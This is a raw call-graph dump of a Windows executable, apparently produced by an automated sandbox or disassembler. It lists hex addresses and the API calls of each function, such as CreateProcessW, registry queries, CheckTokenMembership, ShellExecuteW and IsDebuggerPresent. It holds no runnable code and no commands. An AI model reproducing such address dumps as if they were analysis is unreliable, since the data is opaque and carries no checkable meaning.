7ff6a53c9bbc 94823->94833 94844 7ff6a5399538 31 API calls 94824->94844 94842 7ff6a5394834 46 API calls 94826->94842 94828 7ff6a537d522 94832 7ff6a537ec00 4 API calls 94828->94832 94830 7ff6a53c9cdc 94832->94821 94834 7ff6a5394c68 4 API calls 94833->94834 94837 7ff6a53c9c3e Concurrency::wait wcscpy 94833->94837 94835 7ff6a53c9c0a 94834->94835 94836 7ff6a537ec00 4 API calls 94835->94836 94836->94837 94843 7ff6a5394834 46 API calls 94837->94843 94845 7ff6a53ec7c0 lstrlenW 94838->94845 94841->94828 94842->94828 94843->94824 94844->94830 94846 7ff6a53ec7dd GetFileAttributesW 94845->94846 94847 7ff6a53ebdf5 94845->94847 94846->94847 94848 7ff6a53ec7eb FindFirstFileW 94846->94848 94847->94684 94848->94847 94849 7ff6a53ec7ff FindClose 94848->94849 94849->94847 94851 7ff6a53eb42a 94850->94851 94852 7ff6a53eb3c8 94850->94852 94855 7ff6a53eb334 4 API calls 94851->94855 94853 7ff6a53eb3d0 94852->94853 94854 7ff6a53eb41e 94852->94854 94857 7ff6a53eb3f1 94853->94857 94858 7ff6a53eb3dd 94853->94858 94904 7ff6a53eb458 8 API calls 94854->94904 94859 7ff6a53eb410 Concurrency::wait 94855->94859 94902 7ff6a537a368 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94857->94902 94900 7ff6a537a368 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94858->94900 94859->94717 94862 7ff6a53eb3f6 94903 7ff6a53eb270 6 API calls 94862->94903 94863 7ff6a53eb3e2 94901 7ff6a5394120 6 API calls 94863->94901 94866 7ff6a53eb3ef 94897 7ff6a53eb384 94866->94897 94869 7ff6a5394c68 4 API calls 94868->94869 94870 7ff6a5378363 94869->94870 94871 7ff6a5378314 CloseHandle 94870->94871 94872 7ff6a537836f 94871->94872 94905 7ff6a5379640 94872->94905 94874 7ff6a5378378 94875 7ff6a5378314 CloseHandle 94874->94875 94876 7ff6a5378380 94875->94876 94876->94690 94878 7ff6a5378314 CloseHandle 94877->94878 94879 7ff6a537685a 94878->94879 94880 7ff6a537687d CreateFileW 94879->94880 94881 7ff6a53bcaa8 94879->94881 94886 7ff6a53768ab 94880->94886 94882 7ff6a53bcaae CreateFileW 94881->94882 94889 7ff6a53768d9 94881->94889 94883 7ff6a53bcae6 94882->94883 94882->94886 94910 7ff6a5376a18 SetFilePointerEx SetFilePointerEx SetFilePointerEx 94883->94910 94885 7ff6a53bcaf3 94885->94886 94892 7ff6a53768e4 94886->94892 94908 7ff6a53768f4 9 API calls 94886->94908 94888 7ff6a53768c1 94888->94889 94909 7ff6a5376a18 SetFilePointerEx SetFilePointerEx SetFilePointerEx 94888->94909 94891 7ff6a53eb334 4 API calls 94889->94891 94889->94892 94891->94892 94892->94691 94892->94700 94893->94696 94911 7ff6a53eb188 94894->94911 94898 7ff6a53eb334 4 API calls 94897->94898 94899 7ff6a53eb399 94898->94899 94899->94859 94900->94863 94901->94866 94902->94862 94903->94866 94904->94859 94906 7ff6a5394c68 4 API calls 94905->94906 94907 7ff6a5379663 94906->94907 94907->94874 94908->94888 94909->94889 94910->94885 94912 7ff6a53eb193 94911->94912 94913 7ff6a53eb19c WriteFile 94911->94913 94915 7ff6a53eb208 SetFilePointerEx SetFilePointerEx SetFilePointerEx 94912->94915 94913->94717 94915->94913 94916->94733 94917->94737 94918->94743 94919->94751 94920->94744 94923 7ff6a540f671 memcpy_s 94921->94923 94922 7ff6a537d4cc 48 API calls 94924 7ff6a540f74d 94922->94924 94923->94922 94989 7ff6a537e330 94924->94989 94926 7ff6a540f759 94927 7ff6a540f840 94926->94927 94928 7ff6a540f762 94926->94928 94930 7ff6a540f87d GetCurrentDirectoryW 94927->94930 94933 7ff6a537d4cc 48 API calls 94927->94933 94929 7ff6a537d4cc 48 API calls 94928->94929 94931 7ff6a540f777 94929->94931 94932 7ff6a5394c68 4 API calls 94930->94932 94934 7ff6a537e330 4 API calls 94931->94934 94935 7ff6a540f8a7 GetCurrentDirectoryW 94932->94935 94936 7ff6a540f85c 94933->94936 94937 7ff6a540f783 94934->94937 94938 7ff6a540f8b5 94935->94938 94939 7ff6a537e330 4 API calls 94936->94939 94940 7ff6a537d4cc 48 API calls 94937->94940 94941 7ff6a540f8f0 94938->94941 95002 7ff6a538f688 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94938->95002 94942 7ff6a540f868 94939->94942 94943 7ff6a540f798 94940->94943 94949 7ff6a540f901 94941->94949 94950 7ff6a540f905 94941->94950 94942->94930 94942->94941 94945 7ff6a537e330 4 API calls 94943->94945 94947 7ff6a540f7a4 94945->94947 94946 7ff6a540f8d0 95003 7ff6a538f688 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94946->95003 94952 7ff6a537d4cc 48 API calls 94947->94952 94955 7ff6a540fa0f CreateProcessW 94949->94955 94956 7ff6a540f972 94949->94956 95005 7ff6a53efddc 8 API calls 94950->95005 94957 7ff6a540f7b9 94952->94957 94953 7ff6a540f8e0 95004 7ff6a538f688 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94953->95004 94954 7ff6a540f90e 95006 7ff6a53efca8 8 API calls 94954->95006 94985 7ff6a540f9b4 94955->94985 95008 7ff6a53dd1f8 99 API calls 94956->95008 94961 7ff6a537e330 4 API calls 94957->94961 94963 7ff6a540f7c5 94961->94963 94962 7ff6a540f926 95007 7ff6a53efafc 8 API calls ~SyncLockT 94962->95007 94965 7ff6a540f806 GetSystemDirectoryW 94963->94965 94968 7ff6a537d4cc 48 API calls 94963->94968 94967 7ff6a5394c68 4 API calls 94965->94967 94966 7ff6a540f94f 94966->94949 94969 7ff6a540f830 GetSystemDirectoryW 94967->94969 94970 7ff6a540f7e1 94968->94970 94969->94938 94971 7ff6a537e330 4 API calls 94970->94971 94973 7ff6a540f7ed 94971->94973 94972 7ff6a540fabe CloseHandle 94974 7ff6a540facc 94972->94974 94975 7ff6a540faf5 94972->94975 94973->94938 94973->94965 95009 7ff6a53ef7dc 94974->95009 94977 7ff6a540fafe 94975->94977 94980 7ff6a540fb26 CloseHandle 94975->94980 94984 7ff6a540faa3 94977->94984 94978 7ff6a540fa64 94981 7ff6a540fa84 GetLastError 94978->94981 94980->94984 94981->94984 94993 7ff6a53ef51c 94984->94993 94985->94972 94985->94978 94990 7ff6a537e342 94989->94990 94991 7ff6a5394c68 4 API calls 94990->94991 94992 7ff6a537e361 wcscpy 94991->94992 94992->94926 94994 7ff6a53ef7dc CloseHandle 94993->94994 94995 7ff6a53ef52a 94994->94995 95014 7ff6a53ef7b8 94995->95014 94998 7ff6a53ef7b8 ~SyncLockT CloseHandle 94999 7ff6a53ef53c 94998->94999 95000 7ff6a53ef7b8 ~SyncLockT CloseHandle 94999->95000 95001 7ff6a53ef545 95000->95001 95001->94609 95002->94946 95003->94953 95004->94941 95005->94954 95006->94962 95007->94966 95008->94985 95010 7ff6a53ef7b8 ~SyncLockT CloseHandle 95009->95010 95011 7ff6a53ef7ee 95010->95011 95012 7ff6a53ef7b8 ~SyncLockT CloseHandle 95011->95012 95013 7ff6a53ef7f7 95012->95013 95015 7ff6a53ef533 95014->95015 95016 7ff6a53ef7c9 CloseHandle 95014->95016 95015->94998 95016->95015 95017->94766 95018->94790 95019->94646 95020->94646 95021->94631 95022 7ff6a5382bf8 95025 7ff6a537ed44 95022->95025 95024 7ff6a5382c05 95026 7ff6a537edcd 95025->95026 95027 7ff6a537ed75 95025->95027 95028 7ff6a537edfe 95026->95028 95035 7ff6a53f34e4 77 API calls 3 library calls 95026->95035 95027->95026 95029 7ff6a5383c20 300 API calls 95027->95029 95028->95024 95031 7ff6a537eda8 95029->95031 95031->95028 95034 7ff6a537ee20 5 API calls Concurrency::wait 95031->95034 95032 7ff6a53ca636 95034->95026 95035->95032 95036 7ff6a53cf890 95045 7ff6a537e18c 95036->95045 95038 7ff6a53cf8a9 95040 7ff6a53cf915 Concurrency::wait 95038->95040 95051 7ff6a5392ac0 CharUpperBuffW RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95038->95051 95043 7ff6a53d03e1 Concurrency::wait 95040->95043 95053 7ff6a53f34e4 77 API calls 3 library calls 95040->95053 95042 7ff6a53cf8f6 95042->95040 95052 7ff6a53f1464 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95042->95052 95046 7ff6a537e1a7 95045->95046 95047 7ff6a537e1c2 95045->95047 95054 7ff6a537ee20 5 API calls Concurrency::wait 95046->95054 95050 7ff6a537e1af 95047->95050 95055 7ff6a537ee20 5 API calls Concurrency::wait 95047->95055 95050->95038 95051->95042 95053->95043 95054->95050 95055->95050 95056 7ff6a5382c17 95059 7ff6a53814a0 95056->95059 95058 7ff6a5382c2a 95060 7ff6a53814d3 95059->95060 95061 7ff6a53cbe31 95060->95061 95064 7ff6a53cbdf2 95060->95064 95065 7ff6a53cbdd1 95060->95065 95086 7ff6a53814fa memcpy_s 95060->95086 95107 7ff6a5408f48 300 API calls 3 library calls 95061->95107 95066 7ff6a53cbe19 95064->95066 95105 7ff6a5409a88 300 API calls 4 library calls 95064->95105 95067 7ff6a53cbddb 95065->95067 95065->95086 95106 7ff6a53f34e4 77 API calls 3 library calls 95066->95106 95104 7ff6a5409514 300 API calls 95067->95104 95069 7ff6a5381884 95095 7ff6a5392130 45 API calls 95069->95095 95071 7ff6a5381815 95071->95058 95076 7ff6a5381898 95076->95058 95077 7ff6a5381a30 45 API calls 95077->95086 95082 7ff6a5392130 45 API calls 95082->95086 95083 7ff6a5381799 95083->95071 95111 7ff6a53f34e4 77 API calls 3 library calls 95083->95111 95086->95069 95086->95071 95086->95077 95086->95082 95086->95083 95087 7ff6a53cbfe4 95086->95087 95089 7ff6a5383c20 300 API calls 95086->95089 95091 7ff6a537e0a8 4 API calls 95086->95091 95094 7ff6a537ef9c 46 API calls 95086->95094 95096 7ff6a53920d0 45 API calls 95086->95096 95097 7ff6a5375af8 300 API calls 95086->95097 95098 7ff6a5395114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 95086->95098 95099 7ff6a53935c8 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95086->95099 95100 7ff6a5394f0c 34 API calls _onexit 95086->95100 95101 7ff6a53950b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 95086->95101 95102 7ff6a53936c4 77 API calls 95086->95102 95103 7ff6a53937dc 300 API calls 95086->95103 95108 7ff6a537ee20 5 API calls Concurrency::wait 95086->95108 95109 7ff6a53dac10 VariantClear RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95086->95109 95110 7ff6a54093a4 77 API calls 95087->95110 95089->95086 95091->95086 95094->95086 95095->95076 95096->95086 95097->95086 95099->95086 95100->95086 95102->95086 95103->95086 95104->95071 95105->95066 95106->95061 95107->95086 95108->95086 95109->95086 95110->95083 95111->95083 95112 7ff6a53cb221 95113 7ff6a53cb22a 95112->95113 95120 7ff6a5380378 95112->95120 95135 7ff6a53e47bc RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95113->95135 95115 7ff6a53cb241 95136 7ff6a53e4708 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95115->95136 95117 7ff6a53cb264 95118 7ff6a5383c20 300 API calls 95117->95118 95119 7ff6a53cb292 95118->95119 95126 7ff6a5380405 95119->95126 95137 7ff6a5408d98 49 API calls Concurrency::wait 95119->95137 95129 7ff6a537f7b8 95120->95129 95123 7ff6a53cb2d9 Concurrency::wait 95123->95120 95138 7ff6a53e47bc RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95123->95138 95125 7ff6a538070a 95126->95125 95128 7ff6a537e0a8 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95126->95128 95139 7ff6a537ee20 5 API calls Concurrency::wait 95126->95139 95128->95126 95131 7ff6a537f7d5 95129->95131 95130 7ff6a537f7de 95130->95126 95131->95130 95132 7ff6a5379640 4 API calls 95131->95132 95133 7ff6a537e0a8 4 API calls 95131->95133 95134 7ff6a537f7b8 4 API calls 95131->95134 95132->95131 95133->95131 95134->95131 95135->95115 95136->95117 95137->95123 95138->95123 95139->95126 95140 7ff6a5395328 95163 7ff6a5394cac 95140->95163 95143 7ff6a5395474 95195 7ff6a53957e4 7 API calls 2 library calls 95143->95195 95144 7ff6a5395344 95146 7ff6a539547e 95144->95146 95148 7ff6a5395362 95144->95148 95196 7ff6a53957e4 7 API calls 2 library calls 95146->95196 95149 7ff6a5395387 95148->95149 95155 7ff6a53953a4 __scrt_is_nonwritable_in_current_image __scrt_release_startup_lock 95148->95155 95171 7ff6a53aada4 95148->95171 95150 7ff6a5395489 abort 95152 7ff6a539540d 95178 7ff6a5395930 95152->95178 95154 7ff6a5395412 95181 7ff6a5373730 95154->95181 95155->95152 95192 7ff6a5399204 35 API calls IsInExceptionSpec 95155->95192 95160 7ff6a5395435 95160->95150 95194 7ff6a5394e90 8 API calls 2 library calls 95160->95194 95162 7ff6a539544c 95162->95149 95164 7ff6a5394cce __scrt_initialize_crt 95163->95164 95197 7ff6a53965ec 95164->95197 95170 7ff6a5394cd7 95170->95143 95170->95144 95172 7ff6a53aadff 95171->95172 95173 7ff6a53aade0 95171->95173 95172->95155 95173->95172 95246 7ff6a53710e8 95173->95246 95251 7ff6a5371064 95173->95251 95256 7ff6a5371080 95173->95256 95261 7ff6a5371048 95173->95261 95459 7ff6a5396240 95178->95459 95182 7ff6a53737a3 95181->95182 95183 7ff6a5373743 IsThemeActive 95181->95183 95193 7ff6a5395974 GetModuleHandleW 95182->95193 95461 7ff6a53992d0 95183->95461 95189 7ff6a537377d 95473 7ff6a53737b0 95189->95473 95191 7ff6a5373785 SystemParametersInfoW 95191->95182 95192->95152 95193->95160 95194->95162 95195->95146 95196->95150 95198 7ff6a53965f5 __vcrt_initialize_winapi_thunks __vcrt_initialize 95197->95198 95210 7ff6a5397290 95198->95210 95201 7ff6a5394cd3 95201->95170 95205 7ff6a53aac84 95201->95205 95203 7ff6a539660c 95203->95201 95217 7ff6a53972d8 DeleteCriticalSection 95203->95217 95206 7ff6a53b4340 95205->95206 95207 7ff6a5394ce0 95206->95207 95234 7ff6a53add2c 95206->95234 95207->95170 95209 7ff6a5396620 8 API calls 3 library calls 95207->95209 95209->95170 95211 7ff6a5397298 95210->95211 95213 7ff6a53972c9 95211->95213 95215 7ff6a53965ff 95211->95215 95218 7ff6a5397614 95211->95218 95223 7ff6a53972d8 DeleteCriticalSection 95213->95223 95215->95201 95216 7ff6a5397218 8 API calls 3 library calls 95215->95216 95216->95203 95217->95201 95224 7ff6a5397310 95218->95224 95221 7ff6a539765f InitializeCriticalSectionAndSpinCount 95222 7ff6a5397654 95221->95222 95222->95211 95223->95215 95225 7ff6a5397371 95224->95225 95226 7ff6a539736c try_get_function 95224->95226 95225->95221 95225->95222 95226->95225 95227 7ff6a53973a0 LoadLibraryExW 95226->95227 95231 7ff6a5397439 FreeLibrary 95226->95231 95232 7ff6a5397454 95226->95232 95233 7ff6a53973fb LoadLibraryExW 95226->95233 95227->95226 95228 7ff6a53973c1 GetLastError 95227->95228 95228->95226 95229 7ff6a5397462 GetProcAddress 95230 7ff6a5397473 95229->95230 95230->95225 95231->95226 95232->95225 95232->95229 95233->95226 95245 7ff6a53ab9bc EnterCriticalSection 95234->95245 95236 7ff6a53add3c 95237 7ff6a53ae258 32 API calls 95236->95237 95238 7ff6a53add45 95237->95238 95239 7ff6a53add53 95238->95239 95241 7ff6a53adb44 34 API calls 95238->95241 95240 7ff6a53aba10 _isindst LeaveCriticalSection 95239->95240 95242 7ff6a53add5f 95240->95242 95243 7ff6a53add4e 95241->95243 95242->95206 95244 7ff6a53adc30 GetStdHandle GetFileType 95243->95244 95244->95239 95266 7ff6a5391d80 95246->95266 95250 7ff6a5394f15 95250->95173 95291 7ff6a5377ec0 95251->95291 95253 7ff6a537106d 95327 7ff6a5394ebc 34 API calls _onexit 95253->95327 95255 7ff6a5394f15 95255->95173 95376 7ff6a5377920 95256->95376 95258 7ff6a537109e 95406 7ff6a5394ebc 34 API calls _onexit 95258->95406 95260 7ff6a5394f15 95260->95173 95440 7ff6a5377718 95261->95440 95265 7ff6a5394f15 95265->95173 95267 7ff6a5379640 4 API calls 95266->95267 95268 7ff6a5391db2 GetVersionExW 95267->95268 95269 7ff6a5377cf4 4 API calls 95268->95269 95271 7ff6a5391dfc 95269->95271 95270 7ff6a537dda4 4 API calls 95270->95271 95271->95270 95272 7ff6a5391e87 95271->95272 95273 7ff6a537dda4 4 API calls 95272->95273 95277 7ff6a5391ea4 95273->95277 95274 7ff6a53d9645 95275 7ff6a53d964f 95274->95275 95289 7ff6a53e32f4 LoadLibraryA GetProcAddress 95275->95289 95276 7ff6a5391f3c GetCurrentProcess IsWow64Process 95278 7ff6a5391f7e memcpy_s 95276->95278 95277->95274 95277->95276 95278->95275 95279 7ff6a5391f86 GetSystemInfo 95278->95279 95282 7ff6a53710f1 95279->95282 95281 7ff6a53d96b1 95283 7ff6a53d96b5 95281->95283 95284 7ff6a53d96d7 GetSystemInfo 95281->95284 95288 7ff6a5394ebc 34 API calls _onexit 95282->95288 95290 7ff6a53e32f4 LoadLibraryA GetProcAddress 95283->95290 95286 7ff6a53d96bf 95284->95286 95286->95282 95287 7ff6a53d96f0 FreeLibrary 95286->95287 95287->95282 95288->95250 95289->95281 95290->95286 95328 7ff6a53782b4 95291->95328 95294 7ff6a53782b4 4 API calls 95295 7ff6a5377f3a 95294->95295 95296 7ff6a5379640 4 API calls 95295->95296 95297 7ff6a5377f46 95296->95297 95298 7ff6a5377cf4 4 API calls 95297->95298 95299 7ff6a5377f59 95298->95299 95335 7ff6a5392d5c 6 API calls 95299->95335 95301 7ff6a5377fa5 95302 7ff6a5379640 4 API calls 95301->95302 95303 7ff6a5377fb1 95302->95303 95304 7ff6a5379640 4 API calls 95303->95304 95305 7ff6a5377fbd 95304->95305 95306 7ff6a5379640 4 API calls 95305->95306 95307 7ff6a5377fc9 95306->95307 95308 7ff6a5379640 4 API calls 95307->95308 95309 7ff6a537800f 95308->95309 95310 7ff6a5379640 4 API calls 95309->95310 95311 7ff6a53780f7 95310->95311 95336 7ff6a538ef88 95311->95336 95313 7ff6a5378103 95343 7ff6a538eec8 95313->95343 95315 7ff6a537812f 95316 7ff6a5379640 4 API calls 95315->95316 95317 7ff6a537813b 95316->95317 95354 7ff6a5386d40 95317->95354 95321 7ff6a53781ac 95322 7ff6a53781be GetStdHandle 95321->95322 95323 7ff6a53bd350 95322->95323 95324 7ff6a5378220 OleInitialize 95322->95324 95371 7ff6a53effc8 CreateThread 95323->95371 95324->95253 95326 7ff6a53bd367 CloseHandle 95327->95255 95329 7ff6a5379640 4 API calls 95328->95329 95330 7ff6a53782c6 95329->95330 95331 7ff6a5379640 4 API calls 95330->95331 95332 7ff6a53782cf 95331->95332 95333 7ff6a5379640 4 API calls 95332->95333 95334 7ff6a5377f2e 95333->95334 95334->95294 95335->95301 95337 7ff6a5379640 4 API calls 95336->95337 95338 7ff6a538efa3 95337->95338 95339 7ff6a5379640 4 API calls 95338->95339 95340 7ff6a538efac 95339->95340 95341 7ff6a5379640 4 API calls 95340->95341 95342 7ff6a538f02e 95341->95342 95342->95313 95344 7ff6a538eede 95343->95344 95345 7ff6a5379640 4 API calls 95344->95345 95346 7ff6a538eeea 95345->95346 95347 7ff6a5379640 4 API calls 95346->95347 95348 7ff6a538eef6 95347->95348 95349 7ff6a5379640 4 API calls 95348->95349 95350 7ff6a538ef02 95349->95350 95351 7ff6a5379640 4 API calls 95350->95351 95352 7ff6a538ef0e 95351->95352 95353 7ff6a538ef68 RegisterWindowMessageW 95352->95353 95353->95315 95355 7ff6a5386db9 95354->95355 95362 7ff6a5386d80 95354->95362 95372 7ff6a5395114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 95355->95372 95363 7ff6a537816b 95362->95363 95373 7ff6a5395114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 95362->95373 95364 7ff6a53939a8 95363->95364 95365 7ff6a53da502 95364->95365 95366 7ff6a53939cc 95364->95366 95374 7ff6a537ee20 5 API calls Concurrency::wait 95365->95374 95366->95321 95368 7ff6a53da50e 95375 7ff6a537ee20 5 API calls Concurrency::wait 95368->95375 95370 7ff6a53da52d 95371->95326 95374->95368 95375->95370 95377 7ff6a5377948 wcsftime 95376->95377 95378 7ff6a5379640 4 API calls 95377->95378 95379 7ff6a5377a02 95378->95379 95407 7ff6a5375680 95379->95407 95381 7ff6a5377a0c 95414 7ff6a5393a38 95381->95414 95384 7ff6a53771f8 4 API calls 95385 7ff6a5377a2c 95384->95385 95420 7ff6a5374680 95385->95420 95387 7ff6a5377a3d 95388 7ff6a5379640 4 API calls 95387->95388 95389 7ff6a5377a47 95388->95389 95424 7ff6a537a854 95389->95424 95392 7ff6a53bd05c RegQueryValueExW 95393 7ff6a53bd131 RegCloseKey 95392->95393 95394 7ff6a53bd08f 95392->95394 95396 7ff6a5377a83 Concurrency::wait 95393->95396 95399 7ff6a53bd147 wcscat Concurrency::wait 95393->95399 95395 7ff6a5394c68 4 API calls 95394->95395 95397 7ff6a53bd0b2 95395->95397 95396->95258 95398 7ff6a53bd0bf RegQueryValueExW 95397->95398 95400 7ff6a53bd112 95398->95400 95401 7ff6a53bd0f3 95398->95401 95399->95396 95403 7ff6a5379d84 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95399->95403 95404 7ff6a537ec00 4 API calls 95399->95404 95405 7ff6a5374680 4 API calls 95399->95405 95400->95393 95402 7ff6a5377cf4 4 API calls 95401->95402 95402->95400 95403->95399 95404->95399 95405->95399 95406->95260 95428 7ff6a53b8f90 95407->95428 95410 7ff6a537ec00 4 API calls 95411 7ff6a53756b4 95410->95411 95430 7ff6a53756d4 95411->95430 95413 7ff6a53756c1 Concurrency::wait 95413->95381 95415 7ff6a53b8f90 wcsftime 95414->95415 95416 7ff6a5393a44 GetFullPathNameW 95415->95416 95417 7ff6a5393a74 95416->95417 95418 7ff6a5377cf4 4 API calls 95417->95418 95419 7ff6a5377a1b 95418->95419 95419->95384 95421 7ff6a537469f 95420->95421 95423 7ff6a53746c8 memcpy_s 95420->95423 95422 7ff6a5394c68 4 API calls 95421->95422 95422->95423 95423->95387 95425 7ff6a537a87a 95424->95425 95426 7ff6a5377a51 RegOpenKeyExW 95424->95426 95427 7ff6a5394c68 4 API calls 95425->95427 95426->95392 95426->95396 95427->95426 95429 7ff6a537568c GetModuleFileNameW 95428->95429 95429->95410 95431 7ff6a53b8f90 wcsftime 95430->95431 95432 7ff6a53756e9 GetFullPathNameW 95431->95432 95433 7ff6a5375712 95432->95433 95434 7ff6a53bc03a 95432->95434 95435 7ff6a5377cf4 4 API calls 95433->95435 95436 7ff6a537a854 4 API calls 95434->95436 95437 7ff6a537571c 95435->95437 95436->95437 95438 7ff6a537dda4 4 API calls 95437->95438 95439 7ff6a5375785 95438->95439 95439->95413 95441 7ff6a5379640 4 API calls 95440->95441 95442 7ff6a537778f 95441->95442 95448 7ff6a5376f24 95442->95448 95445 7ff6a537782c 95446 7ff6a5371051 95445->95446 95451 7ff6a5377410 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95445->95451 95447 7ff6a5394ebc 34 API calls _onexit 95446->95447 95447->95265 95452 7ff6a5376f60 95448->95452 95451->95445 95453 7ff6a5376f85 95452->95453 95454 7ff6a5376f52 95452->95454 95453->95454 95455 7ff6a5376f93 RegOpenKeyExW 95453->95455 95454->95445 95455->95454 95456 7ff6a5376faf RegQueryValueExW 95455->95456 95457 7ff6a5376fdd 95456->95457 95458 7ff6a5376ff5 RegCloseKey 95456->95458 95457->95458 95458->95454 95460 7ff6a5395947 GetStartupInfoW 95459->95460 95460->95154 95519 7ff6a53ab9bc EnterCriticalSection 95461->95519 95463 7ff6a53992e4 95464 7ff6a53aba10 _isindst LeaveCriticalSection 95463->95464 95465 7ff6a537376e 95464->95465 95466 7ff6a5399334 95465->95466 95467 7ff6a539933d 95466->95467 95471 7ff6a5373778 95466->95471 95520 7ff6a53a55d4 15 API calls _invalid_parameter_noinfo 95467->95520 95469 7ff6a5399342 95521 7ff6a53ab164 31 API calls _invalid_parameter_noinfo 95469->95521 95472 7ff6a53736e8 SystemParametersInfoW SystemParametersInfoW 95471->95472 95472->95189 95474 7ff6a53737cd wcsftime 95473->95474 95475 7ff6a5379640 4 API calls 95474->95475 95476 7ff6a53737dd GetCurrentDirectoryW 95475->95476 95522 7ff6a53757a0 95476->95522 95478 7ff6a5373807 IsDebuggerPresent 95479 7ff6a53bb872 MessageBoxA 95478->95479 95480 7ff6a5373815 95478->95480 95481 7ff6a53bb894 95479->95481 95480->95481 95482 7ff6a5373839 95480->95482 95632 7ff6a537e278 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95481->95632 95596 7ff6a5373f04 95482->95596 95486 7ff6a5373860 GetFullPathNameW 95487 7ff6a5377cf4 4 API calls 95486->95487 95488 7ff6a53738a6 95487->95488 95612 7ff6a5373f9c 95488->95612 95489 7ff6a53738bf 95491 7ff6a53bb8dc SetCurrentDirectoryW 95489->95491 95492 7ff6a53738c7 95489->95492 95491->95492 95493 7ff6a53738d0 95492->95493 95633 7ff6a53dd540 AllocateAndInitializeSid CheckTokenMembership FreeSid 95492->95633 95628 7ff6a5373b84 7 API calls 95493->95628 95496 7ff6a53bb8f8 95496->95493 95499 7ff6a53bb90c 95496->95499 95501 7ff6a5375680 6 API calls 95499->95501 95500 7ff6a53738da 95503 7ff6a5376258 46 API calls 95500->95503 95506 7ff6a53738ef 95500->95506 95502 7ff6a53bb916 95501->95502 95504 7ff6a537ec00 4 API calls 95502->95504 95503->95506 95505 7ff6a53bb927 95504->95505 95508 7ff6a53bb930 95505->95508 95509 7ff6a53bb94d 95505->95509 95507 7ff6a5373913 95506->95507 95510 7ff6a5375d88 Shell_NotifyIconW 95506->95510 95512 7ff6a537391f SetCurrentDirectoryW 95507->95512 95511 7ff6a53771f8 4 API calls 95508->95511 95513 7ff6a53771f8 4 API calls 95509->95513 95510->95507 95515 7ff6a53bb93c 95511->95515 95514 7ff6a5373934 Concurrency::wait 95512->95514 95516 7ff6a53bb963 GetForegroundWindow ShellExecuteW 95513->95516 95514->95191 95634 7ff6a5377c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 95515->95634 95518 7ff6a53bb99f Concurrency::wait 95516->95518 95518->95507 95520->95469 95521->95471 95523 7ff6a5379640 4 API calls 95522->95523 95524 7ff6a53757d7 95523->95524 95635 7ff6a5379bbc 95524->95635 95526 7ff6a53757fe 95527 7ff6a5375680 6 API calls 95526->95527 95528 7ff6a5375812 95527->95528 95529 7ff6a537ec00 4 API calls 95528->95529 95530 7ff6a5375823 95529->95530 95649 7ff6a5376460 95530->95649 95533 7ff6a53bc05e 95722 7ff6a53f2948 95533->95722 95534 7ff6a537584e Concurrency::wait 95538 7ff6a537e0a8 4 API calls 95534->95538 95536 7ff6a53bc074 95537 7ff6a53bc081 95536->95537 95540 7ff6a537652c 63 API calls 95536->95540 95740 7ff6a537652c 95537->95740 95539 7ff6a537586a 95538->95539 95542 7ff6a537ec00 4 API calls 95539->95542 95540->95537 95543 7ff6a5375888 95542->95543 95547 7ff6a53bc099 95543->95547 95675 7ff6a537eff8 95543->95675 95545 7ff6a53758ad Concurrency::wait 95546 7ff6a537ec00 4 API calls 95545->95546 95548 7ff6a53758d7 95546->95548 95550 7ff6a5375ab4 4 API calls 95547->95550 95548->95547 95549 7ff6a537eff8 46 API calls 95548->95549 95552 7ff6a53758fc Concurrency::wait 95549->95552 95551 7ff6a53bc0e1 95550->95551 95553 7ff6a5375ab4 4 API calls 95551->95553 95555 7ff6a5379640 4 API calls 95552->95555 95554 7ff6a53bc103 95553->95554 95558 7ff6a5375680 6 API calls 95554->95558 95556 7ff6a537591f 95555->95556 95688 7ff6a5375ab4 95556->95688 95560 7ff6a53bc12b 95558->95560 95562 7ff6a5375ab4 4 API calls 95560->95562 95564 7ff6a53bc139 95562->95564 95563 7ff6a5375941 95563->95547 95565 7ff6a5375949 95563->95565 95566 7ff6a537e0a8 4 API calls 95564->95566 95567 7ff6a5398e28 wcsftime 37 API calls 95565->95567 95568 7ff6a53bc14a 95566->95568 95569 7ff6a5375958 95567->95569 95570 7ff6a5375ab4 4 API calls 95568->95570 95569->95551 95571 7ff6a5375960 95569->95571 95572 7ff6a53bc15b 95570->95572 95573 7ff6a5398e28 wcsftime 37 API calls 95571->95573 95577 7ff6a537e0a8 4 API calls 95572->95577 95574 7ff6a537596f 95573->95574 95574->95554 95575 7ff6a5375977 95574->95575 95576 7ff6a5398e28 wcsftime 37 API calls 95575->95576 95580 7ff6a5375986 95576->95580 95578 7ff6a53bc172 95577->95578 95579 7ff6a5375ab4 4 API calls 95578->95579 95582 7ff6a53bc183 95579->95582 95581 7ff6a53759c6 95580->95581 95583 7ff6a5375ab4 4 API calls 95580->95583 95581->95572 95584 7ff6a53759d3 95581->95584 95585 7ff6a53759a8 95583->95585 95711 7ff6a537df90 95584->95711 95586 7ff6a537e0a8 4 API calls 95585->95586 95587 7ff6a53759b5 95586->95587 95589 7ff6a5375ab4 4 API calls 95587->95589 95589->95581 95592 7ff6a537d670 5 API calls 95593 7ff6a5375a12 95592->95593 95593->95592 95594 7ff6a5375ab4 